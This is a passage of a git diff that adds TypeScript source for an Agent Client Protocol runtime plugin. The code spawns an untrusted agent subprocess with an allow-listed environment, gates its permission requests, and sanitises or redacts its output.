+ for (const child of activeProcesses) {
+ forceKill(child);
+ }
+ activeProcesses.clear();
+}
+
+/**
+ * Build the subprocess environment from an explicit allow-list (KTD6b).
+ *
+ * Returns ONLY allow-listed vars copied from `process.env`. The full env is
+ * never inherited — the agent is untrusted and must not receive secret-bearing
+ * vars. Returns an empty env by default (empty allow-list).
+ */
+export function buildSpawnEnv(allowList: string[]): NodeJS.ProcessEnv {
+ const env: NodeJS.ProcessEnv = {};
+ for (const key of allowList) {
+ const value = process.env[key];
+ if (typeof value === "string") env[key] = value;
+ }
+ return env;
+}
+
+export interface SpawnAgentOptions {
+ binaryPath: string;
+ args: string[];
+ cwd: string;
+ env: NodeJS.ProcessEnv;
+}
+
+/**
+ * Spawn the ACP agent subprocess with piped stdio.
+ *
+ * Registers the child on spawn and unregisters it on exit. The caller wraps
+ * stdin/stdout into a web stream for `ndJsonStream`.
+ */
+export function spawnAgent(options: SpawnAgentOptions): ChildProcess {
+ const child = spawn(options.binaryPath, options.args, {
+ stdio: ["pipe", "pipe", "pipe"],
+ cwd: options.cwd,
+ env: options.env,
+ });
+ registerProcess(child);
+ debugLog(`spawnAgent: pid=${child.pid} binary=${options.binaryPath}`);
+ return child;
+}
+
+// --- stderr capture + secret redaction (Risk S8) --------------------------
+
+/** Maximum stderr bytes retained; older output is dropped to bound memory. */
+const STDERR_BUFFER_CEILING = 64 * 1024;
+
+/**
+ * Redact token-like / auth patterns from text so auth errors don't leak
+ * verbatim into the stderr buffer or logs (Risk S8). Best-effort: covers
+ * bearer tokens, `Authorization:` header values, `key=`/`token=`/`secret=`
+ * assignments, and long base64/hex secrets.
+ */
+export function redactSecrets(text: string): string {
+ return (
+ text
+ // Authorization: Bearer / Authorization:
+ .replace(/(authorization\s*[:=]\s*)(bearer\s+)?[^\s,;"']+/gi, "$1$2[REDACTED]")
+ // Bearer
+ .replace(/\b(bearer)\s+[A-Za-z0-9._\-+/=]+/gi, "$1 [REDACTED]")
+ // key=... token=... secret=... password=... apikey=... (quoted or bare)
+ .replace(
+ /\b((?:api[_-]?key|key|token|secret|password|passwd|pwd|access[_-]?token|refresh[_-]?token|client[_-]?secret)\s*[:=]\s*)("?)[^\s,;"']+\2/gi,
+ "$1$2[REDACTED]$2",
+ )
+ // sk-/ghp_/github_pat_/xoxb-/AKIA-style long opaque tokens
+ .replace(/\b(sk-|ghp_|gho_|github_pat_|xox[abpr]-|AKIA)[A-Za-z0-9_\-]{8,}/g, "[REDACTED]")
+ // standalone long base64/hex secrets (>=32 chars)
+ .replace(/\b[A-Za-z0-9+/]{40,}={0,2}\b/g, "[REDACTED]")
+ .replace(/\b[0-9a-fA-F]{32,}\b/g, "[REDACTED]")
+ );
+}
+
+/**
+ * Accumulate stderr into a bounded, secret-redacted buffer.
+ * Returns a getter for the current (redacted) buffer contents.
+ */
+export function captureStderr(child: ChildProcess): () => string {
+ // FIX 5: redacting each chunk in isolation leaks a secret that straddles a
+ // chunk boundary (the token is split across two `data` events so neither half
+ // matches a pattern). Accumulate the RAW bytes into a bounded buffer first,
+ // then redact across the whole (bounded) buffer after each append so a
+ // boundary-spanning secret is caught. The buffer stays bounded by the existing
+ // ceiling; the returned getter always reports the redacted view.
+ let raw = "";
+ child.stderr?.on("data", (data: Buffer) => {
+ raw += data.toString();
+ if (raw.length > STDERR_BUFFER_CEILING) {
+ raw = raw.slice(raw.length - STDERR_BUFFER_CEILING);
+ }
+ });
+ return () => redactSecrets(raw);
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts b/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts
new file mode 100644
index 0000000000..4bbda15e49
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts
@@ -0,0 +1,49 @@
+// Builds ACP `ContentBlock[]` from a Fusion prompt.
+//
+// U3 core path: a plain string prompt becomes a single `{ type: "text", text }`
+// block. The runtime may later pass structured content (e.g. an attached image);
+// when present we emit the matching block. Keep this small and pure.
+
+import type { ContentBlock } from "@agentclientprotocol/sdk";
+
+/** Optional structured content the runtime may attach alongside the text prompt. */
+export interface PromptImage {
+ /** Base64-encoded image data (no data: prefix). */
+ data: string;
+ /** MIME type, e.g. "image/png". */
+ mimeType: string;
+ /** Optional source URI for the image. */
+ uri?: string;
+}
+
+export interface BuildPromptOptions {
+ /** Image content to append as image block(s) after the text. */
+ images?: PromptImage[];
+}
+
+/**
+ * Build the ACP prompt content blocks for a turn.
+ *
+ * A non-empty string yields one text block. An empty/whitespace-only string
+ * yields no text block (but any attached images are still included), so we never
+ * send a meaningless empty text block. Images, when supplied, are appended as
+ * `image` blocks (passthrough — KTD ContentBlock image variant).
+ */
+export function buildPromptBlocks(prompt: string, opts?: BuildPromptOptions): ContentBlock[] {
+ const blocks: ContentBlock[] = [];
+
+ if (typeof prompt === "string" && prompt.trim().length > 0) {
+ blocks.push({ type: "text", text: prompt });
+ }
+
+ for (const image of opts?.images ?? []) {
+ blocks.push({
+ type: "image",
+ data: image.data,
+ mimeType: image.mimeType,
+ ...(image.uri ? { uri: image.uri } : {}),
+ });
+ }
+
+ return blocks;
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/provider.ts b/plugins/fusion-plugin-acp-runtime/src/provider.ts
new file mode 100644
index 0000000000..0c60f4498f
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/provider.ts
@@ -0,0 +1,438 @@
+// ACP connection layer: spawn → ClientSideConnection → initialize handshake.
+//
+// U2 establishes the transport and completes the `initialize` handshake with
+// integer protocol-version negotiation (KTD2) and a readiness timeout. Session
+// driving (`session/new`, `session/prompt`, cancel, load) is U3 — this unit only
+// exposes the live `conn` on the returned handle so later units can drive it.
+//
+// Security posture (KTD6): filesystem client capabilities are advertised ONLY
+// when the caller's `advertiseFs` toggle is true — never hardcoded. Teardown is
+// registry-SIGKILL-authoritative (KTD4a): `dispose()` force-kills the child via
+// the process registry; that kill is the no-orphan guarantee, not a graceful
+// round-trip.
+
+import { Readable, Writable } from "node:stream";
+import type { ChildProcess } from "node:child_process";
+import {
+ ClientSideConnection,
+ ndJsonStream,
+ PROTOCOL_VERSION,
+ type Agent,
+ type AgentCapabilities,
+ type Client,
+ type ContentBlock,
+ type RequestPermissionResponse,
+ type StopReason,
+} from "@agentclientprotocol/sdk";
+import { spawnAgent, captureStderr, forceKill, unregisterProcess } from "./process-manager.js";
+import { createEventBridge } from "./event-bridge.js";
+import { resolvePermission, type ResolvePermissionOptions } from "./control-handler.js";
+import { createFsHandlers } from "./fs-capabilities.js";
+import { boundIdentifier } from "./sanitize.js";
+import type { AcpCallbacks, PermissionGate } from "./types.js";
+
+/** Options enabling the U7 fs client capabilities on the bridging handler. */
+export interface FsHandlerBuildOptions {
+ /** Confinement root — the session cwd / task worktree. */
+ cwd: string;
+ /** Register `readTextFile` (advertised iff true). */
+ allowRead: boolean;
+ /** Register `writeTextFile` (default OFF — KTD6; advertised iff true). */
+ allowWrite: boolean;
+}
+
+/** Default bound for the `initialize` handshake. */
+export const DEFAULT_INITIALIZE_TIMEOUT_MS = 30_000;
+
+/** Thrown when the agent negotiates an integer protocol version we don't support. */
+export class IncompatibleProtocolError extends Error {
+ readonly code = "incompatible_protocol" as const;
+ constructor(
+ readonly agentProtocolVersion: number,
+ readonly expected: number = PROTOCOL_VERSION,
+ ) {
+ super(
+ `ACP agent negotiated incompatible protocol version ${agentProtocolVersion} (client supports ${expected})`,
+ );
+ this.name = "IncompatibleProtocolError";
+ }
+}
+
+/** Thrown when the `initialize` handshake does not complete within the bound. */
+export class HandshakeTimeoutError extends Error {
+ readonly code = "handshake_timeout" as const;
+ constructor(readonly timeoutMs: number) {
+ super(`ACP initialize handshake timed out after ${timeoutMs}ms`);
+ this.name = "HandshakeTimeoutError";
+ }
+}
+
+/**
+ * Minimal default client handler. Later units (U3/U4/U5/U7) supply the real one
+ * that bridges `session/update` into Fusion callbacks and routes permission
+ * requests through the action gate. The default cancels every permission request
+ * (never auto-allows an untrusted agent) and ignores updates.
+ */
+export function createDefaultClientHandler(): Client {
+ return {
+ async sessionUpdate() {
+ // no-op until the U4 event bridge is wired
+ },
+ async requestPermission() {
+ return { outcome: { outcome: "cancelled" } };
+ },
+ };
+}
+
+/** A bridging client handler plus a drain control for its in-flight permissions. */
+export interface BridgingClientHandler {
+ /** The ACP `Client` impl handed to `ClientSideConnection`. */
+ handler: Client;
+ /**
+ * Resolve every in-flight `requestPermission` with `{ cancelled }` and mark the
+ * handler cancelled so any request arriving afterward is answered cancelled
+ * immediately (U5 cancel-drain — KTD4a). Idempotent.
+ */
+ cancelPending(): void;
+ /**
+ * Reset the event bridge's PER-TURN state (tool correlation, delta
+ * accumulators, cumulative-output counter, output-cap latch). MUST be called
+ * at the start of each prompt turn so a turn that trips the per-turn output cap
+ * does not silently suppress every subsequent turn (FIX 1).
+ */
+ resetTurn(): void;
+}
+
+/**
+ * The real client handler (U4 + U5): bridges every `session/update` notification
+ * into the engine callbacks, AND answers `session/request_permission` through the
+ * per-category action gate (U5 — the SECURITY FLOOR).
+ *
+ * Permission requests are routed to `resolvePermission`, which classifies each
+ * call per-category against the live `gate` and selects `allow_once` only (never
+ * `*_always`). When no `gate` is supplied the resolver default-denies.
+ *
+ * Cancel-drain (KTD4a / Risk: in-flight permission deadlock): every pending
+ * `requestPermission` promise is tracked; `cancelPending()` resolves them all
+ * with `{ cancelled }`. A request that arrives AFTER cancel is answered
+ * `{ cancelled }` immediately so the agent never blocks on teardown.
+ */
+export function createBridgingClientHandler(
+ callbacks: AcpCallbacks,
+ gate?: PermissionGate,
+ fsOpts?: FsHandlerBuildOptions,
+ permissionOpts?: ResolvePermissionOptions,
+): BridgingClientHandler {
+ const bridge = createEventBridge(callbacks);
+
+ // U7: build the fs handlers, returning only the enabled ones. They are added
+ // to the handler below ONLY when present, keeping the advertised-capability /
+ // registered-handler invariant consistent (KTD6).
+ const fsHandlers = fsOpts
+ ? createFsHandlers({
+ cwd: fsOpts.cwd,
+ gate,
+ allowRead: fsOpts.allowRead,
+ allowWrite: fsOpts.allowWrite,
+ allowUnrestricted: permissionOpts?.allowUnrestricted,
+ })
+ : {};
+
+ const cancelledResponse: RequestPermissionResponse = {
+ outcome: { outcome: "cancelled" },
+ };
+
+ let cancelled = false;
+ // Each entry resolves its pending requestPermission with a cancelled outcome.
+ const pending = new Set<(response: RequestPermissionResponse) => void>();
+
+ function cancelPending(): void {
+ cancelled = true;
+ for (const resolveCancelled of [...pending]) {
+ resolveCancelled(cancelledResponse);
+ }
+ pending.clear();
+ }
+
+ const handler: Client = {
+ async sessionUpdate(params) {
+ bridge.handleSessionUpdate(params.update);
+ },
+ async requestPermission(params): Promise {
+ // A request arriving after cancel is answered cancelled immediately.
+ if (cancelled) return cancelledResponse;
+
+ // Race the real gate resolution against a cancel-drain so an in-flight
+ // request is answered the moment teardown drains it (never deadlocks).
+ return await new Promise((resolve) => {
+ let settled = false;
+ const finish = (response: RequestPermissionResponse) => {
+ if (settled) return;
+ settled = true;
+ pending.delete(drain);
+ resolve(response);
+ };
+ const drain = (response: RequestPermissionResponse) => finish(response);
+ pending.add(drain);
+
+ resolvePermission(params.toolCall, params.options, gate, permissionOpts).then(
+ (response) => finish(response),
+ // resolvePermission never rejects, but stay safe: deny-by-cancel.
+ () => finish(cancelledResponse),
+ );
+ });
+ },
+ };
+
+ // Register fs handlers ONLY when enabled, so the advertised capability and the
+ // present handler stay consistent (KTD6). If a capability is disabled the
+ // method is absent → an agent calling it gets a JSON-RPC method-not-found
+ // error (never a silent success).
+ if (fsHandlers.readTextFile) handler.readTextFile = fsHandlers.readTextFile;
+ if (fsHandlers.writeTextFile) handler.writeTextFile = fsHandlers.writeTextFile;
+
+ return { handler, cancelPending, resetTurn: () => bridge.reset() };
+}
+
+export interface AcpConnection {
+ /** Live ACP connection — later units drive session/new, prompt, cancel, load. */
+ conn: ClientSideConnection;
+ child: ChildProcess;
+ agentCapabilities?: AgentCapabilities;
+ /** Auth methods the agent advertised; non-empty means auth is required. */
+ authMethods: Array<{ id: string }>;
+ /** Current redacted stderr buffer. */
+ stderr(): string;
+ /** Force-kill the agent via the registry (KTD4a — SIGKILL is authoritative). */
+ dispose(): void;
+}
+
+export interface ConnectOptions {
+ binaryPath: string;
+ args: string[];
+ cwd: string;
+ env: NodeJS.ProcessEnv;
+ clientHandler?: Client;
+ /** Advertise fs capabilities ONLY where the toggle is true (KTD6). */
+ advertiseFs: { read: boolean; write: boolean };
+ initializeTimeoutMs?: number;
+}
+
+function withTimeout(promise: Promise, ms: number, onTimeout: () => Error): Promise {
+ return new Promise((resolve, reject) => {
+ const timer = setTimeout(() => reject(onTimeout()), ms);
+ timer.unref?.();
+ promise.then(
+ (value) => {
+ clearTimeout(timer);
+ resolve(value);
+ },
+ (err) => {
+ clearTimeout(timer);
+ reject(err);
+ },
+ );
+ });
+}
+
+/**
+ * Spawn the agent, establish a `ClientSideConnection` over its stdio, and
+ * complete the `initialize` handshake under a timeout.
+ *
+ * Throws `HandshakeTimeoutError` on timeout, `IncompatibleProtocolError` when
+ * the negotiated integer protocol version mismatches — in both cases the
+ * subprocess is force-killed before throwing (no orphans, KTD4a). On `initialize`
+ * the fs capability flags are gated by `advertiseFs` and never hardcoded (KTD6).
+ */
+export async function connect(opts: ConnectOptions): Promise {
+ const timeoutMs = opts.initializeTimeoutMs ?? DEFAULT_INITIALIZE_TIMEOUT_MS;
+ const child = spawnAgent({
+ binaryPath: opts.binaryPath,
+ args: opts.args,
+ cwd: opts.cwd,
+ env: opts.env,
+ });
+ const stderr = captureStderr(child);
+
+ let disposed = false;
+ const dispose = () => {
+ if (disposed) return;
+ disposed = true;
+ forceKill(child);
+ unregisterProcess(child);
+ };
+
+ // If the binary is missing, spawn emits "error" asynchronously. Surface that
+ // as a rejection of the handshake rather than an unhandled event-loop error.
+ let spawnError: Error | undefined;
+ const spawnErrored = new Promise((_resolve, reject) => {
+ child.once("error", (err: Error) => {
+ spawnError = err;
+ reject(err);
+ });
+ });
+ // Avoid an unhandled rejection if the handshake resolves/throws first.
+ spawnErrored.catch(() => undefined);
+
+ // output = the agent's stdin; input = the agent's stdout.
+ const stream = ndJsonStream(
+ Writable.toWeb(child.stdin!) as unknown as WritableStream,
+ Readable.toWeb(child.stdout!) as unknown as ReadableStream,
+ );
+
+ const handler = opts.clientHandler ?? createDefaultClientHandler();
+ const conn = new ClientSideConnection((_agent: Agent) => handler, stream);
+
+ let initResult: Awaited>;
+ try {
+ initResult = await Promise.race([
+ withTimeout(
+ conn.initialize({
+ protocolVersion: PROTOCOL_VERSION,
+ clientCapabilities: {
+ fs: {
+ readTextFile: opts.advertiseFs.read === true,
+ writeTextFile: opts.advertiseFs.write === true,
+ },
+ },
+ }),
+ timeoutMs,
+ () => new HandshakeTimeoutError(timeoutMs),
+ ),
+ spawnErrored,
+ ]);
+ } catch (err) {
+ dispose();
+ if (spawnError && err === spawnError) throw spawnError;
+ throw err;
+ }
+
+ // Compare the negotiated integer protocol version; do NOT assume the agent
+ // errors first (KTD2).
+ if (initResult.protocolVersion !== PROTOCOL_VERSION) {
+ dispose();
+ throw new IncompatibleProtocolError(initResult.protocolVersion);
+ }
+
+ const authMethods = Array.isArray(initResult.authMethods)
+ ? initResult.authMethods.map((m) => ({ id: m.id }))
+ : [];
+
+ return {
+ conn,
+ child,
+ agentCapabilities: initResult.agentCapabilities,
+ authMethods,
+ stderr,
+ dispose,
+ };
+}
+
+// --- U3: session driving on top of connect() -------------------------------
+//
+// These helpers wrap the `ClientSideConnection` session methods so the runtime
+// adapter drives one shape (open → prompt → cancel/resume) without touching SDK
+// types directly. v1 always sends an empty `mcpServers` (KTD5).
+
+function readsLoadSession(connection: AcpConnection): boolean {
+ // `agentCapabilities` is already typed as `AgentCapabilities | undefined`.
+ return connection.agentCapabilities?.loadSession === true;
+}
+
+export interface NewAcpSessionResult {
+ sessionId: string;
+ /** Initial session mode state, when the agent reports one. */
+ modes?: unknown;
+}
+
+/**
+ * Open a fresh ACP session via `session/new`. Always passes an empty
+ * `mcpServers` (KTD5 — Fusion custom-tool forwarding is deferred).
+ */
+export async function newAcpSession(
+ connection: AcpConnection,
+ opts: { cwd: string },
+): Promise {
+ const res = await connection.conn.newSession({ cwd: opts.cwd, mcpServers: [] });
+ // `sessionId` is agent-supplied/untrusted (U6/Risk S7): bound its length and
+ // strip path separators / NUL bytes before it is stored on the session or
+ // could ever touch a resume-file path.
+ return { sessionId: boundIdentifier(res.sessionId), modes: res.modes ?? undefined };
+}
+
+/**
+ * Send a prompt turn via `session/prompt` and return the terminal `stopReason`.
+ *
+ * The SDK prompt promise resolves only AFTER every `session/update` for the turn
+ * has been delivered to the client handler — so resolving here is the correct
+ * "turn complete" signal (no extra draining required).
+ */
+export async function promptAcpSession(
+ connection: AcpConnection,
+ sessionId: string,
+ blocks: ContentBlock[],
+): Promise {
+ const res = await connection.conn.prompt({ sessionId, prompt: blocks });
+ return res.stopReason;
+}
+
+/**
+ * Best-effort cancel of the active turn via the `session/cancel` notification.
+ *
+ * This is fire-and-forget (no ack in the protocol). Errors are swallowed — it
+ * runs during teardown where the registry SIGKILL is the authoritative guarantee
+ * (KTD4a).
+ */
+/** Upper bound on how long `cancelAcpSession` waits on the cancel write (FIX 7). */
+const CANCEL_TIMEOUT_MS = 2_000;
+
+export async function cancelAcpSession(
+ connection: AcpConnection,
+ sessionId: string,
+): Promise {
+ // `conn.cancel` writes to the agent's stdin pipe; a dead or full pipe can
+ // back-pressure and stall teardown (the adapter awaits this BEFORE the
+ // authoritative registry SIGKILL). Bound it so the kill still runs promptly
+ // (FIX 7). Errors are swallowed — this is already best-effort.
+ try {
+ await Promise.race([
+ connection.conn.cancel({ sessionId }),
+ new Promise((resolve) => {
+ const timer = setTimeout(resolve, CANCEL_TIMEOUT_MS);
+ timer.unref?.();
+ }),
+ ]);
+ } catch {
+ // fire-and-forget; teardown's SIGKILL is authoritative
+ }
+}
+
+/**
+ * Resume a session. Prefers `session/load` (history replay) when the agent
+ * advertised the `loadSession` capability; otherwise falls back to opening a
+ * fresh `session/new`. There is no separate `resume` method in this SDK build —
+ * `loadSession` IS the resume path.
+ *
+ * NOTE (v1): engine-driven resume wiring is intentionally deferred — the
+ * runtime adapter always opens a fresh session via `newAcpSession`. This helper
+ * exists (and is unit-tested for the id-sanitization invariant) so resume can be
+ * wired in by passing a `sessionId` through `AgentRuntimeOptions` later without
+ * building new resume machinery.
+ */
+export async function loadAcpSession(
+ connection: AcpConnection,
+ opts: { sessionId: string; cwd: string },
+): Promise {
+ if (readsLoadSession(connection)) {
+ // Bound the (agent-originated) resume id before it is used as a protocol /
+ // potential path component (U6/Risk S7).
+ const safeId = boundIdentifier(opts.sessionId);
+ const res = await connection.conn.loadSession({
+ sessionId: safeId,
+ cwd: opts.cwd,
+ mcpServers: [],
+ });
+ return { sessionId: safeId, modes: res.modes ?? undefined };
+ }
+ return newAcpSession(connection, { cwd: opts.cwd });
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts b/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts
new file mode 100644
index 0000000000..bafea4ff3a
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts
@@ -0,0 +1,160 @@
+// AgentRuntime adapter for the ACP runtime.
+//
+// U3 implements the real session lifecycle: createSession spawns + handshakes
+// (U2 connect()) then opens a `session/new`; promptWithFallback drives one
+// prompt turn to its terminal stopReason; dispose tears down the connection
+// (KTD4a — registry SIGKILL is authoritative). The `session/update` event
+// bridge (U4) and the permission gate (U5) are wired in later units; for U3 the
+// default client handler from U2 is used and a turn still resolves with a
+// stopReason.
+
+import { resolveCliSettings, type AcpCliSettings } from "./cli-spawn.js";
+import {
+ connect,
+ newAcpSession,
+ promptAcpSession,
+ cancelAcpSession,
+ createBridgingClientHandler,
+} from "./provider.js";
+import { buildSpawnEnv } from "./process-manager.js";
+import { buildPromptBlocks } from "./prompt-builder.js";
+import type {
+ AgentRuntime,
+ AgentRuntimeOptions,
+ AgentSession,
+ AgentSessionResult,
+ AcpSession,
+} from "./types.js";
+
+export class AcpRuntimeAdapter implements AgentRuntime {
+ readonly id = "acp";
+ readonly name = "ACP Runtime";
+ private readonly settings: AcpCliSettings;
+
+ constructor(settings?: Record) {
+ this.settings = resolveCliSettings(settings);
+ }
+
+ async createSession(options: AgentRuntimeOptions): Promise {
+ const model = this.settings.model ?? options.defaultModelId ?? "acp";
+
+ // Bridge streamed `session/update` notifications onto the engine callbacks
+ // (U4) so ACP agents render like existing runtimes.
+ const callbacks = {
+ onText: options.onText,
+ onThinking: options.onThinking,
+ onToolStart: options.onToolStart,
+ onToolEnd: options.onToolEnd,
+ };
+
+ // Build the bridging client handler with the per-run permission gate (U5):
+ // its `requestPermission` classifies each call per-category against the live
+ // gate (KTD3a) and selects `allow_once` only (S2). `cancelPending` drains
+ // in-flight permission requests on teardown so the agent never deadlocks.
+ // fs client capabilities (U7) are gated by settings — reads opt-in, writes
+ // default OFF (KTD6) — and confined to the task cwd by the path jail. The
+ // same toggles drive the advertised `fs` capability in connect() below, so
+ // advertisement and registered handlers stay consistent.
+ const { handler: clientHandler, cancelPending, resetTurn } = createBridgingClientHandler(
+ callbacks,
+ options.actionGateContext,
+ {
+ cwd: options.cwd,
+ allowRead: this.settings.fsRead,
+ allowWrite: this.settings.fsWrite,
+ },
+ // Risk S1: unless the user acknowledged the untrusted-agent risk, a blanket
+ // `allow` on a sensitive category is escalated to approval rather than
+ // auto-approved — so the default `unrestricted` policy can't silently
+ // green-light this untrusted subprocess.
+ { allowUnrestricted: this.settings.allowUnrestricted },
+ );
+
+ // Spawn + initialize (U2). fs capabilities are advertised only where the
+ // resolved settings enable them (KTD6); the subprocess env is built from the
+ // allow-list, never inherited process.env (KTD6b).
+ const connection = await connect({
+ binaryPath: this.settings.binaryPath,
+ args: this.settings.args,
+ cwd: options.cwd,
+ env: buildSpawnEnv(this.settings.envAllowList),
+ advertiseFs: { read: this.settings.fsRead, write: this.settings.fsWrite },
+ clientHandler,
+ });
+
+ // Open the ACP session over the task worktree (empty mcpServers — KTD5).
+ let sessionId: string;
+ try {
+ const opened = await newAcpSession(connection, { cwd: options.cwd });
+ sessionId = opened.sessionId;
+ } catch (err) {
+ // Don't leak the subprocess if session/new fails after a good handshake.
+ connection.dispose();
+ throw err;
+ }
+
+ let disposed = false;
+ const session: AcpSession = {
+ model,
+ systemPrompt: options.systemPrompt,
+ sessionId,
+ cwd: options.cwd,
+ lastModelDescription: `acp/${model}`,
+ callbacks,
+ // Persist the per-run gate (KTD3) so U5/U7 can reach the live action gate.
+ gate: options.actionGateContext,
+ connection,
+ // Reset the event bridge's per-turn state at the start of each turn so a
+ // turn that trips the per-turn output cap can't latch and suppress every
+ // subsequent turn (FIX 1).
+ resetTurn,
+ dispose: () => {
+ if (disposed) return;
+ disposed = true;
+ // Drain in-flight permission requests BEFORE the registry kill so a
+ // blocked agent is released (KTD4a — the SIGKILL is still authoritative).
+ cancelPending();
+ connection.dispose();
+ },
+ };
+
+ return { session };
+ }
+
+ async promptWithFallback(
+ session: AgentSession,
+ prompt: string,
+ _options?: unknown,
+ ): Promise {
+ const acp = session as AcpSession;
+ if (!acp.connection) {
+ throw new Error("ACP session has no live connection (createSession not completed)");
+ }
+ // Clear per-turn event-bridge state BEFORE driving the turn so tool
+ // correlation, delta accumulators, and the output-cap latch all start clean
+ // each turn (FIX 1). Without this, a turn that hit the per-turn output cap
+ // would silently suppress all later turns.
+ acp.resetTurn?.();
+ const blocks = buildPromptBlocks(prompt);
+ // Resolve when the SDK prompt promise resolves — it already drains all
+ // session/update notifications for the turn before reporting the stopReason.
+ // The bridging client handler installed at createSession (U4) has already
+ // surfaced streamed text/thinking/tool updates onto session.callbacks.
+ await promptAcpSession(acp.connection, acp.sessionId, blocks);
+ }
+
+ describeModel(session: AgentSession): string {
+ return session.lastModelDescription || "acp";
+ }
+
+ async dispose(session: AgentSession): Promise {
+ // KTD4a teardown: best-effort cancel of any in-flight turn, then force the
+ // connection down. The process-registry SIGKILL is the authoritative
+ // no-orphan guarantee, not the cancel round-trip. Idempotent.
+ const acp = session as AcpSession;
+ if (acp.connection && acp.sessionId) {
+ await cancelAcpSession(acp.connection, acp.sessionId);
+ }
+ session.dispose();
+ }
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/sanitize.ts b/plugins/fusion-plugin-acp-runtime/src/sanitize.ts
new file mode 100644
index 0000000000..75adfbe8b0
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/sanitize.ts
@@ -0,0 +1,80 @@
+// Untrusted-input sanitization helpers (U6 / Risk S7).
+//
+// Every string an ACP agent emits — text/thinking deltas, tool `title`, plan
+// text, `sessionId`, `toolCallId` — is untrusted input. Before any such string
+// reaches a Fusion callback, a log, the UI, or (worst) a filesystem path, it must
+// be neutralized:
+//
+// - `stripControlSequences` removes ANSI/OSC escapes and C0/C1 control chars so
+// a crafted string cannot inject terminal escapes / rewrite log lines.
+// - `boundString` truncates oversized content (Risk S5) with a visible marker.
+// - `boundIdentifier` bounds an agent-supplied id and strips path separators /
+// NUL bytes so the id can never be interpolated into a filesystem path
+// unsanitized.
+
+/** Default cap for an agent-supplied identifier (sessionId, toolCallId). */
+export const DEFAULT_IDENTIFIER_MAX = 256;
+
+/** Marker appended when `boundString` truncates its input. */
+export const TRUNCATION_MARKER = "…[truncated]";
+
+// ANSI escape sequences:
+// CSI / SGR: ESC [ ...
+// OSC: ESC ] ... (BEL | ST)
+// other ESC-prefixed two-char sequences (e.g. ESC ( B)
+const ANSI_PATTERN =
+ // eslint-disable-next-line no-control-regex
+ /\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)|\x1b[@-Z\\-_]|\x1b\[[0-?]*[ -/]*[@-~]|\x1b[ -/]*[0-~]/g;
+
+// Non-printable control chars to drop. C0 = \x00–\x1F, DEL = \x7F, C1 = \x80–\x9F.
+// We KEEP \n (\x0A) and \t (\x09) — they are legitimate whitespace in agent text.
+// eslint-disable-next-line no-control-regex
+const CONTROL_CHARS_PATTERN = /[\x00-\x08\x0B-\x1F\x7F-\x9F]/g;
+
+/**
+ * Remove ANSI escape sequences (CSI/SGR/OSC) and non-printable C0/C1 control
+ * characters from an untrusted string. Preserves `\n` and `\t`. Never throws —
+ * a non-string input yields an empty string.
+ */
+export function stripControlSequences(text: string): string {
+ if (typeof text !== "string" || text === "") return "";
+ return text.replace(ANSI_PATTERN, "").replace(CONTROL_CHARS_PATTERN, "");
+}
+
+/**
+ * Truncate `text` to at most `max` characters, appending a short truncation
+ * marker when the input is cut. A non-positive `max` yields an empty string; a
+ * non-string input yields an empty string. The returned string is never longer
+ * than `max` (the marker replaces the tail of the budget, it is not added on
+ * top).
+ */
+export function boundString(text: string, max: number): string {
+ if (typeof text !== "string" || text === "") return "";
+ if (!Number.isFinite(max) || max <= 0) return "";
+ if (text.length <= max) return text;
+ if (max <= TRUNCATION_MARKER.length) {
+ return text.slice(0, max);
+ }
+ return text.slice(0, max - TRUNCATION_MARKER.length) + TRUNCATION_MARKER;
+}
+
+/**
+ * Bound an agent-supplied identifier to a sane length and strip anything that
+ * could let it escape into a filesystem path: path separators (`/`, `\`), NUL
+ * bytes, control chars, and `..` traversal segments are removed. The result is
+ * a flat, length-bounded token safe to use as a Map key or a single path
+ * component. A non-string / empty input yields `""`.
+ */
+export function boundIdentifier(id: string, max: number = DEFAULT_IDENTIFIER_MAX): string {
+ if (typeof id !== "string" || id === "") return "";
+ const cap = Number.isFinite(max) && max > 0 ? max : DEFAULT_IDENTIFIER_MAX;
+ // Drop ANSI/control first, then path-dangerous characters, then traversal.
+ let cleaned = stripControlSequences(id)
+ // eslint-disable-next-line no-control-regex
+ .replace(/\x00/g, "")
+ .replace(/[/\\]/g, "_");
+ // Collapse any remaining `..` traversal tokens (after separators were removed
+ // a `..` cannot point anywhere, but normalize it away for defense in depth).
+ cleaned = cleaned.replace(/\.\.+/g, "_");
+ return cleaned.slice(0, cap);
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts b/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts
new file mode 100644
index 0000000000..ad5e0a620c
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts
@@ -0,0 +1,46 @@
+// Pure helpers mapping ACP `ToolCall` metadata into the display name + args
+// shape Fusion's `onToolStart`/`onToolEnd` callbacks expect.
+//
+// ACP's `kind` is agent-defined, optional, and partial (U4). These helpers must
+// never throw on missing/odd input — a missing title falls back to a label
+// derived from `kind`, and a missing/non-object `rawInput` normalizes to `{}`.
+
+import type { ToolKind } from "@agentclientprotocol/sdk";
+
+/** Human-readable labels for each ACP `ToolKind`. */
+const KIND_LABELS: Record = {
+ read: "Read",
+ edit: "Edit",
+ delete: "Delete",
+ move: "Move",
+ search: "Search",
+ execute: "Execute",
+ think: "Think",
+ fetch: "Fetch",
+ switch_mode: "Switch Mode",
+ other: "Tool",
+};
+
+/**
+ * Resolve a display name for a tool call. Prefers the agent-supplied `title`;
+ * falls back to a label derived from `kind`; final fallback is `"tool"`.
+ */
+export function toolDisplayName(toolCall: { title?: string | null; kind?: ToolKind | null }): string {
+ const title = typeof toolCall.title === "string" ? toolCall.title.trim() : "";
+ if (title) return title;
+ const kind = toolCall.kind;
+ if (kind && kind in KIND_LABELS) return KIND_LABELS[kind];
+ return "tool";
+}
+
+/**
+ * Normalize a tool call's `rawInput` to a plain object. Returns `{}` when the
+ * input is undefined, null, or any non-object (arrays included) so downstream
+ * code can always treat args as a record.
+ */
